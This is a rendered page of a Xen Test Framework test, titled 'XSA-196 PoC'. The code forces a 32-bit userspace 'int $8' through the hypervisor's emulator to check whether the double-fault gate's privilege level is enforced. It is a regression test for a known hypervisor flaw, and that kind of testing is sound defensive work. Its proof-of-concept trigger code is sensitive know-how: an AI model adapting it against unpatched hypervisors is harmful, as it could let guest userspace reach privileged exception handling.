Xen Test Framework
main.c
Go to the documentation of this file.
1 
25 #include <xtf.h>
26 
27 const char test_title[] = "XSA-196 PoC";
28 
29 bool test_needs_fep = true;
30 
32 asm(".align 16;"
33  "custom_doublefault_handler:"
34  /* Fake up "return EXINFO_SYM(DF, 0);" */
35  "mov $(1 << 31 | " STR(X86_EXC_DF) " << 16), %eax;"
36  "iretq;"
37  );
38 
39 static const struct xtf_idte idte = {
41  .cs = __KERN_CS,
42 };
43 
44 static unsigned long __user_text compat_userspace(void)
45 {
46  exinfo_t fault = 0;
47 
48  asm volatile (/* Drop into a 32bit compat code segment. */
49  "push $%c[cs32];"
50  "push $1f;"
51  "lretq; 1:"
52 
53  /* Force `int $8` through the emulator. */
54  ".code32;"
55  "start_32bit:;"
57  "1: int $%c[df]; 2:"
58  _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])
59 
60  /* Return to 64bit. */
61  "ljmpl $%c[cs], $1f;"
62  "end_32bit:;"
63 
64  ".code64; 1:"
65  : "+a" (fault)
66  : [df] "i" (X86_EXC_DF),
67  [cs32] "i" (__USER_CS32),
68  [cs] "i" (__USER_CS),
69  [rec] "p" (ex_record_fault_eax));
70 
71  return fault;
72 }
73 
74 void test_main(void)
75 {
76  /*
77  * Sanity check the preconditions for this PoC working. These settings
78  * are very common.
79  */
80  ASSERT(idt[X86_EXC_OF].dpl == 3);
81  ASSERT(idt[X86_EXC_DF].dpl == 0);
82 
83  /* Hook the custom doublefault handler. */
84  xtf_set_idte(X86_EXC_DF, &idte);
85 
87 
88  switch ( fault )
89  {
90  case EXINFO_SYM(GP, EXC_EC_SYM(DF, IDT)):
91  xtf_success("Success: #DF DPL was checked correctly\n");
92  break;
93 
94  case EXINFO_SYM(DF, 0):
95  xtf_failure("Fail: Userspace managed to invoke #DF\n");
96  break;
97 
98  default:
99  xtf_error("Error: Unexpected fault %#x\n", fault);
100  break;
101  }
102 }
103 
104 /*
105  * Local variables:
106  * mode: C
107  * c-file-style: "BSD"
108  * c-basic-offset: 4
109  * tab-width: 4
110  * indent-tabs-mode: nil
111  * End:
112  */
unsigned int exinfo_t
Packed exception and error code information.
Definition: exinfo.h:19
#define _ASM_XEN_FEP
Xen Forced Emulation Prefix.
Definition: xen.h:150
void custom_doublefault_handler(void)
static unsigned long compat_userspace(void)
Definition: main.c:44
#define EXC_EC_SYM(exc,...)
Create an exception selector based error code using mnemonics, with implicit X86_EC_IDT.
bool ex_record_fault_eax(struct cpu_regs *regs, const struct extable_entry *ex)
Record the current fault in %eax.
Definition: extable.c:8
unsigned long addr
Definition: idt.h:28
#define X86_EXC_DF
Definition: processor.h:110
#define X86_EXC_OF
Definition: processor.h:106
int xtf_set_idte(unsigned int vector, const struct xtf_idte *idte)
Set up an IDT Entry, in a guest agnostic way.
Definition: traps.c:73
static const struct xtf_idte idte
Definition: main.c:39
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define STR(x)
Stringise an expression, expanding preprocessor tokens.
Definition: macro_magic.h:17
#define __user_text
Definition: compiler.h:33
unsigned int cs
Definition: idt.h:29
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
#define GP
bool test_needs_fep
Boolean indicating whether the test is entirely predicated on the available of the Force Emulation Pr...
Definition: main.c:34
const char test_title[]
The title of the test.
Definition: main.c:14
unsigned int dpl
Definition: idt.h:29
static unsigned long exec_user(unsigned long(*fn)(void))
Definition: lib.h:62
#define EXINFO_SYM(exc, ec)
Definition: exinfo.h:29
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
A guest agnostic represention of IDT information.
Definition: idt.h:26
#define ASSERT(cond)
Definition: lib.h:14
#define _ASM_EXTABLE_HANDLER(fault, fixup, handler)
Create an exception table entry with custom handler.
Definition: extable.h:38